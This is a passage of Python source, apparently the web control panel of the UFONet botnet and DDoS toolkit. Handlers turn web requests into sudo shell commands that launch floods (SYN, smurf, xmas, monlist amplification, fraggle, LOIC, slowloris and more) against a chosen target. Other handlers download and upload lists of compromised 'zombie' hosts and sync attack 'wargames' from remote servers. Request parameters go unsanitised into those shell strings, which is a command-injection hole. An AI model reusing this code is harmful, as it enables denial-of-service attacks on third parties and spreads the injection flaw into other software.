  4059. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  4060. if page == "/cmd_download_community_update":
  4061. if not os.path.exists('/tmp/out'):
  4062. open('/tmp/out', 'w').close()
  4063. with open('/tmp/out', 'r') as f:
  4064. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  4065. if page == "/cmd_download_botnet_ip":
  4066. blackhole = pGet["blackhole"]
  4067. blackhole=urllib.parse.unquote(blackhole)
  4068. self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
  4069. runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4070. if page == "/cmd_download_botnet_ip_update":
  4071. if not os.path.exists('/tmp/out'):
  4072. open('/tmp/out', 'w').close()
  4073. with open('/tmp/out', 'r') as f:
  4074. self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4075. if page == "/cmd_upload_community":
  4076. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  4077. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  4078. if page == "/cmd_upload_community_update":
  4079. if not os.path.exists('/tmp/out'):
  4080. open('/tmp/out', 'w').close()
  4081. with open('/tmp/out', 'r') as f:
  4082. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  4083. if page == "/cmd_test_army_update":
  4084. if not os.path.exists('/tmp/out'):
  4085. open('/tmp/out', 'w').close()
  4086. with open('/tmp/out', 'r') as f:
  4087. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  4088. if page == "/cmd_test_all_update":
  4089. if not os.path.exists('/tmp/out'):
  4090. open('/tmp/out', 'w').close()
  4091. with open('/tmp/out', 'r') as f:
  4092. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  4093. if page == "/cmd_test_offline_update":
  4094. if not os.path.exists('/tmp/out'):
  4095. open('/tmp/out', 'w').close()
  4096. with open('/tmp/out', 'r') as f:
  4097. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  4098. if page == "/cmd_test_rpcs":
  4099. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  4100. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  4101. if page == "/cmd_test_rpcs_update":
  4102. if not os.path.exists('/tmp/out'):
  4103. open('/tmp/out', 'w').close()
  4104. with open('/tmp/out', 'r') as f:
  4105. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  4106. if page == "/cmd_attack":
  4107. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  4108. cmd = ""
  4109. flag_ufosyn = None
  4110. flag_spray = None
  4111. flag_smurf = None
  4112. flag_xmas = None
  4113. flag_nuke = None
  4114. flag_tachyon = None
  4115. flag_monlist = None
  4116. flag_fraggle = None
  4117. flag_sniper = None
  4118. flag_ufoack = None
  4119. flag_uforst = None
  4120. flag_droper = None
  4121. flag_overlap = None
  4122. flag_pinger = None
  4123. flag_ufoudp = None
  4124. target = pGet["target"].replace(" ","/")
  4125. target=urllib.parse.unquote(target)
  4126. nonroot_cmd = "("+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4127. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4128. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  4129. if pGet["dbstress"]:
  4130. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  4131. if pGet["loic"]:
  4132. cmd += "--loic '" +str(pGet["loic"])+ "' "
  4133. if pGet["loris"]:
  4134. cmd += "--loris '" +str(pGet["loris"])+ "' "
  4135. if pGet["ufosyn"]:
  4136. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  4137. flag_ufosyn = True
  4138. if pGet["spray"]:
  4139. cmd += "--spray '" +str(pGet["spray"])+ "' "
  4140. flag_spray = True
  4141. if pGet["smurf"]:
  4142. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  4143. flag_smurf = True
  4144. if pGet["xmas"]:
  4145. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  4146. flag_xmas = True
  4147. if pGet["nuke"]:
  4148. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  4149. flag_nuke = True
  4150. if pGet["tachyon"]:
  4151. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  4152. flag_tachyon = True
  4153. if pGet["monlist"]:
  4154. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  4155. flag_monlist = True
  4156. if pGet["fraggle"]:
  4157. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  4158. flag_fraggle = True
  4159. if pGet["sniper"]:
  4160. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  4161. flag_sniper = True
  4162. if pGet["ufoack"]:
  4163. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  4164. flag_ufoack = True
  4165. if pGet["uforst"]:
  4166. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  4167. flag_uforst = True
  4168. if pGet["droper"]:
  4169. cmd += "--droper '" +str(pGet["droper"])+ "' "
  4170. flag_droper = True
  4171. if pGet["overlap"]:
  4172. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  4173. flag_overlap = True
  4174. if pGet["pinger"]:
  4175. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  4176. flag_pinger = True
  4177. if pGet["ufoudp"]:
  4178. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  4179. flag_ufoudp = True
  4180. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
  4181. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  4182. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  4183. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  4184. runcmd = cmd + end_cmd
  4185. if page == "/cmd_attack_update":
  4186. if not os.path.exists('/tmp/out'):
  4187. open('/tmp/out', 'w').close()
  4188. with open('/tmp/out', 'r') as f:
  4189. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  4190. if page == "/cmd_inspect":
  4191. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  4192. target = pGet["target"]
  4193. target=urllib.parse.unquote(target)
  4194. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4195. if page == "/cmd_inspect_update":
  4196. if not os.path.exists('/tmp/out'):
  4197. open('/tmp/out', 'w').close()
  4198. with open('/tmp/out', 'r') as f:
  4199. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  4200. if page == "/cmd_abduction":
  4201. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  4202. target = pGet["target"]
  4203. target=urllib.parse.unquote(target)
  4204. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4205. if page == "/cmd_abduction_update":
  4206. if not os.path.exists('/tmp/out'):
  4207. open('/tmp/out', 'w').close()
  4208. with open('/tmp/out', 'r') as f:
  4209. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  4210. if page == "/cmd_search":
  4211. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  4212. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  4213. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  4214. if pGet["exclude_engines"]:
  4215. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4216. else:
  4217. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  4218. else: # search using a search engine
  4219. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4220. else: # search using a pattern
  4221. if pGet["autosearch"] == "on": # search using auto-search mod
  4222. if pGet["exclude_engines"]:
  4223. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4224. else:
  4225. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  4226. else:
  4227. if pGet["all_engines"] == "on": # search using all search engines
  4228. if pGet["exclude_engines"]:
  4229. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4230. else:
  4231. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  4232. else: # search using a search engine
  4233. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4234. if page == "/cmd_search_update":
  4235. if not os.path.exists('/tmp/out'):
  4236. open('/tmp/out', 'w').close()
  4237. with open('/tmp/out', 'r') as f:
  4238. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  4239. if page == "/cmd_refresh_blackholes":
  4240. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4241. blackhole_ip = pGet["blackholes_source"]
  4242. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4243. try:
  4244. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  4245. f = open(self.blackholes, "w") # write updates to nodes.dat
  4246. f.write(blackholes)
  4247. f.close()
  4248. self.blackholes_text = blackholes
  4249. except:
  4250. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4251. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  4252. f = open("/tmp/out", "w")
  4253. f.write(str(blackholes))
  4254. f.write(end_mark)
  4255. f.close()
  4256. if page == "/cmd_refresh_blackholes_update":
  4257. if not os.path.exists('/tmp/out'):
  4258. open('/tmp/out', 'w').close()
  4259. with open('/tmp/out', 'r') as f:
  4260. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  4261. if page == "/cmd_refresh_news":
  4262. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4263. blackhole_ip = pGet["news_source"]
  4264. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4265. try:
  4266. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  4267. f = open(self.news, "w") # write updates to news.txt
  4268. f.write(news)
  4269. f.close()
  4270. self.news_text = news
  4271. except:
  4272. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4273. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  4274. f = open("/tmp/out", "w")
  4275. f.write(str(news))
  4276. f.write(end_mark)
  4277. f.close()
  4278. if page == "/cmd_refresh_news_update":
  4279. if not os.path.exists('/tmp/out'):
  4280. open('/tmp/out', 'w').close()
  4281. with open('/tmp/out', 'r') as f:
  4282. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  4283. if page == "/cmd_refresh_tv":
  4284. self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4285. blackhole_ip = pGet["tv_source"]
  4286. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4287. try:
  4288. tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
  4289. f = open(self.tv, "w") # write updates to tv.txt
  4290. f.write(tv)
  4291. f.close()
  4292. self.tv_text = tv
  4293. except:
  4294. tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4295. end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
  4296. f = open("/tmp/out", "w")
  4297. f.write(str(tv))
  4298. f.write(end_mark)
  4299. f.close()
  4300. if page == "/cmd_refresh_tv_update":
  4301. if not os.path.exists('/tmp/out'):
  4302. open('/tmp/out', 'w').close()
  4303. with open('/tmp/out', 'r') as f:
  4304. self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
  4305. if page == "/cmd_sync_wargames":
  4306. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4307. blackhole_ip = pGet["wargames_source"]
  4308. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4309. try:
  4310. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4311. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4312. f.write(wargames)
  4313. f.close()
  4314. self.wargames_text = wargames
  4315. except:
  4316. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4317. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4318. f = open("/tmp/out", "w")
  4319. f.write(str(wargames))
  4320. f.write(end_mark)
  4321. f.close()
  4322. if page == "/cmd_sync_wargames_update":
  4323. if not os.path.exists('/tmp/out'):
  4324. open('/tmp/out', 'w').close()
  4325. with open('/tmp/out', 'r') as f:
  4326. stream = f.read()
  4327. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4328. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4329. if page == "/cmd_sync_links":
  4330. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4331. blackhole_ip = pGet["link_source"]
  4332. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4333. try:
  4334. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4335. f = open(self.links_file, "w") # write updates to links.txt
  4336. f.write(links)
  4337. f.close()
  4338. self.links_text = links
  4339. except:
  4340. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4341. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4342. f = open("/tmp/out", "w")
  4343. f.write(str(links))
  4344. f.write(end_mark)
  4345. f.close()
  4346. if page == "/cmd_sync_links_update":
  4347. if not os.path.exists('/tmp/out'):
  4348. open('/tmp/out', 'w').close()
  4349. with open('/tmp/out', 'r') as f:
  4350. stream = f.read()
  4351. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4352. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4353. if page == "/cmd_sync_globalnet":
  4354. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4355. blackhole_ip = pGet["globalnet_source"]
  4356. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4357. try:
  4358. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4359. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4360. f.write(globalnet)
  4361. f.close()
  4362. self.globalnet_text = globalnet
  4363. except:
  4364. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4365. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4366. f = open("/tmp/out", "w")
  4367. f.write(str(globalnet))
  4368. f.write(end_mark)
  4369. f.close()
  4370. if page == "/cmd_sync_globalnet_update":
  4371. if not os.path.exists('/tmp/out'):
  4372. open('/tmp/out', 'w').close()
  4373. with open('/tmp/out', 'r') as f:
  4374. stream = f.read()
  4375. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4376. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4377. if page == "/cmd_sync_streams":
  4378. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4379. blackhole_ip = pGet["stream_source"]
  4380. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4381. try:
  4382. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4383. f = open(self.streams_file, "w") # write updates to streams.txt
  4384. f.write(streams)
  4385. f.close()
  4386. self.streams_text = streams
  4387. except:
  4388. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4389. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4390. f = open("/tmp/out", "w")
  4391. f.write(str(streams))
  4392. f.write(end_mark)
  4393. f.close()
  4394. if page == "/cmd_sync_streams_update":
  4395. if not os.path.exists('/tmp/out'):
  4396. open('/tmp/out', 'w').close()
  4397. with open('/tmp/out', 'r') as f:
  4398. stream = f.read()
  4399. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4400. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4401. if page == "/cmd_refresh_missions":
  4402. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4403. blackhole_ip = pGet["missions_source"]
  4404. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4405. try:
  4406. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4407. f = open(self.missions, "w") # write updates to missions.txt
  4408. f.write(missions)
  4409. f.close()
  4410. self.missions_text = missions
  4411. except:
  4412. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4413. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4414. f = open("/tmp/out", "w")
  4415. f.write(str(missions))
  4416. f.write(end_mark)
  4417. f.close()
  4418. if page == "/cmd_refresh_missions_update":
  4419. if not os.path.exists('/tmp/out'):
  4420. open('/tmp/out', 'w').close()
  4421. with open('/tmp/out', 'r') as f:
  4422. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4423. if page == "/cmd_refresh_ranking":
  4424. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4425. ranking_ip = pGet["ranking_source"]
  4426. ranking_ip = urllib.parse.unquote(ranking_ip)
  4427. try:
  4428. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4429. f = open(self.grid_file, "w") # write updates to grid.txt
  4430. f.write(ranking)
  4431. f.close()
  4432. self.ranking_text = ranking
  4433. except:
  4434. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4435. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4436. f = open("/tmp/out", "w")
  4437. f.write(str(ranking))
  4438. f.write(end_mark)
  4439. f.close()
  4440. if page == "/cmd_refresh_ranking_update":
  4441. if not os.path.exists('/tmp/out'):
  4442. open('/tmp/out', 'w').close()
  4443. with open('/tmp/out', 'r') as f:
  4444. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4445. if page == "/cmd_sync_grid":
  4446. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4447. blackhole_ip = pGet["grid_source"]
  4448. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4449. try:
  4450. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4451. f = open(self.grid_file, "w") # write updates to grid.txt
  4452. f.write(grid)
  4453. f.close()
  4454. self.grid_text = grid
  4455. except:
  4456. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4457. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4458. f = open("/tmp/out", "w")
  4459. f.write(str(grid))
  4460. f.write(end_mark)
  4461. f.close()
  4462. if page == "/cmd_sync_grid_update":
  4463. if not os.path.exists('/tmp/out'):
  4464. open('/tmp/out', 'w').close()
  4465. with open('/tmp/out', 'r') as f:
  4466. stream = f.read()
  4467. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4468. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4469. if page == "/cmd_job_remove":
  4470. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4471. try:
  4472. job_id = pGet["id"]
  4473. except:
  4474. job_id = ""
  4475. if job_id != "":
  4476. self.list_wargames.reverse()
  4477. try:
  4478. job_task = self.list_wargames[(int(job_id)-1)]
  4479. f = open(self.wargames_file,"r")
  4480. ls = f.readlines()
  4481. f.close()
  4482. f = open(self.wargames_file,"w")
  4483. for l in ls:
  4484. if str(l) != str(job_task):
  4485. f.write(l)
  4486. f.close()
  4487. except:
  4488. pass
  4489. if page == "/cmd_job_remove_update":
  4490. if not os.path.exists('/tmp/out'):
  4491. open('/tmp/out', 'w').close()
  4492. with open('/tmp/out', 'r') as f:
  4493. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  4494. if page == "/cmd_job_remove_all":
  4495. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  4496. try:
  4497. key_params = pGet["key"]
  4498. sep = ","
  4499. key = key_params.rsplit(sep, 1)[0]
  4500. except:
  4501. key = ""
  4502. if key != "":
  4503. try:
  4504. self.list_wargames.reverse()
  4505. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4506. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4507. f = open(self.wargames_file,"r")
  4508. ls = f.readlines()
  4509. f.close()
  4510. f = open(self.wargames_file,"w")
  4511. sep = wargames_msg_sep
  4512. for l in ls:
  4513. job_estimated = l.rsplit(sep, 1)[1]
  4514. self.decrypt(key, job_estimated)
  4515. if self.decryptedtext:
  4516. job_estimated = self.decryptedtext
  4517. else:
  4518. job_estimated = now
  4519. self.decryptedtext = ""
  4520. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  4521. if (now >= job_estimated) == False: # -ONGOING-
  4522. f.write(l)
  4523. f.close()
  4524. except:
  4525. pass
  4526. if page == "/cmd_job_remove_all_update":
  4527. if not os.path.exists('/tmp/out'):
  4528. open('/tmp/out', 'w').close()
  4529. with open('/tmp/out', 'r') as f:
  4530. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  4531. if page == "/cmd_edit_supply":
  4532. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  4533. try:
  4534. supply_botnet = pGet["botnet"]
  4535. supply_loic = pGet["loic"]
  4536. supply_loris = pGet["loris"]
  4537. supply_ufosyn = pGet["ufosyn"]
  4538. supply_spray = pGet["spray"]
  4539. supply_smurf = pGet["smurf"]
  4540. supply_xmas = pGet["xmas"]
  4541. supply_nuke = pGet["nuke"]
  4542. supply_tachyon = pGet["tachyon"]
  4543. supply_monlist = pGet["monlist"]
  4544. supply_fraggle = pGet["fraggle"]
  4545. supply_sniper = pGet["sniper"]
  4546. supply_ufoack = pGet["ufoack"]
  4547. supply_uforst = pGet["uforst"]
  4548. supply_droper = pGet["droper"]
  4549. supply_overlap = pGet["overlap"]
  4550. supply_pinger = pGet["pinger"]
  4551. supply_ufoudp = pGet["ufoudp"]
  4552. except: # default global supply army
  4553. supply_botnet = 1
  4554. supply_loic = 0
  4555. supply_loris = 0
  4556. supply_ufosyn = 0
  4557. supply_spray = 0
  4558. supply_smurf = 0
  4559. supply_xmas = 0
  4560. supply_nuke = 0
  4561. supply_tachyon = 0
  4562. supply_monlist = 0
  4563. supply_fraggle = 0
  4564. supply_sniper = 0
  4565. supply_ufoack = 0
  4566. supply_uforst = 0
  4567. supply_droper = 0
  4568. supply_overlap = 0
  4569. supply_pinger = 0
  4570. supply_ufoudp = 0
  4571. with open(self.mothership_supplycfg_file, "w") as f:
  4572. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
  4573. if page == "/cmd_job_add":
  4574. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  4575. try:
  4576. job_params = pGet["id"]
  4577. sep = ","
  4578. job_id = job_params.rsplit(sep, 1)[0]
  4579. except:
  4580. job_id = ""
  4581. if job_id != "":
  4582. self.list_wargames.reverse()
  4583. try:
  4584. job_task = self.list_wargames[(int(job_id)-1)]
  4585. f = open(self.wargames_file,"r")
  4586. ls = f.readlines()
  4587. f.close()
  4588. f = open(self.wargames_file,"w")
  4589. sep = wargames_msg_sep
  4590. for l in ls:
  4591. if str(l) != str(job_task):
  4592. f.write(l)
  4593. else:
  4594. job_t2 = job_task.rsplit(sep, 1)[0]
  4595. job_creation = job_t2.rsplit(sep, 1)[0]
  4596. job_target = job_t2.rsplit(sep, 1)[1]
  4597. job_estimated = job_task.rsplit(sep, 1)[1]
  4598. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  4599. f.write(l)
  4600. f.close()
  4601. except:
  4602. pass
  4603. if page == "/cmd_job_add_update":
  4604. if not os.path.exists('/tmp/out'):
  4605. open('/tmp/out', 'w').close()
  4606. with open('/tmp/out', 'r') as f:
  4607. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  4608. if page == "/cmd_job_add_all":
  4609. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  4610. try:
  4611. self.list_wargames.reverse()
  4612. f = open(self.wargames_file,"r")
  4613. ls = f.readlines()
  4614. f.close()
  4615. f = open(self.wargames_file,"w")
  4616. sep = wargames_msg_sep
  4617. for l in ls:
  4618. job_t2 = l.rsplit(sep, 1)[0]
  4619. job_creation = job_t2.rsplit(sep, 1)[0]
  4620. job_target = job_t2.rsplit(sep, 1)[1]
  4621. job_estimated = l.rsplit(sep, 1)[1]
  4622. if not "!!!" in job_target:
  4623. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  4624. else:
  4625. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4626. f.write(l)
  4627. f.close()
  4628. except:
  4629. pass
  4630. if page == "/cmd_job_add_all_update":
  4631. if not os.path.exists('/tmp/out'):
  4632. open('/tmp/out', 'w').close()
  4633. with open('/tmp/out', 'r') as f:
  4634. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  4635. if page == "/cmd_job_cancel":
  4636. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  4637. try:
  4638. job_params = pGet["id"]
  4639. sep = ","
  4640. job_id = job_params.rsplit(sep, 1)[0]
  4641. except:
  4642. job_id = ""
  4643. if job_id != "":
  4644. self.list_wargames.reverse()
  4645. try:
  4646. job_task = self.list_wargames[(int(job_id)-1)]
  4647. f = open(self.wargames_file,"r")
  4648. ls = f.readlines()
  4649. f.close()
  4650. f = open(self.wargames_file,"w")
  4651. for l in ls:
  4652. if str(l) != str(job_task):
  4653. f.write(l)
  4654. else:
  4655. sep = wargames_msg_sep
  4656. job_t2 = job_task.rsplit(sep, 1)[0]
  4657. job_creation = job_t2.rsplit(sep, 1)[0]
  4658. job_target = job_t2.rsplit(sep, 1)[1]
  4659. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4660. job_estimated = job_task.rsplit(sep, 1)[1]
  4661. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4662. f.write(l)
  4663. f.close()
  4664. except:
  4665. pass
  4666. if page == "/cmd_job_cancel_update":
  4667. if not os.path.exists('/tmp/out'):
  4668. open('/tmp/out', 'w').close()
  4669. with open('/tmp/out', 'r') as f:
  4670. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  4671. if page == "/cmd_job_cancel_all":
  4672. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  4673. try:
  4674. self.list_wargames.reverse()
  4675. f = open(self.wargames_file,"r")
  4676. ls = f.readlines()
  4677. f.close()
  4678. f = open(self.wargames_file,"w")
  4679. sep = wargames_msg_sep
  4680. for l in ls:
  4681. job_t2 = l.rsplit(sep, 1)[0]
  4682. job_creation = job_t2.rsplit(sep, 1)[0]
  4683. job_target = job_t2.rsplit(sep, 1)[1]
  4684. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
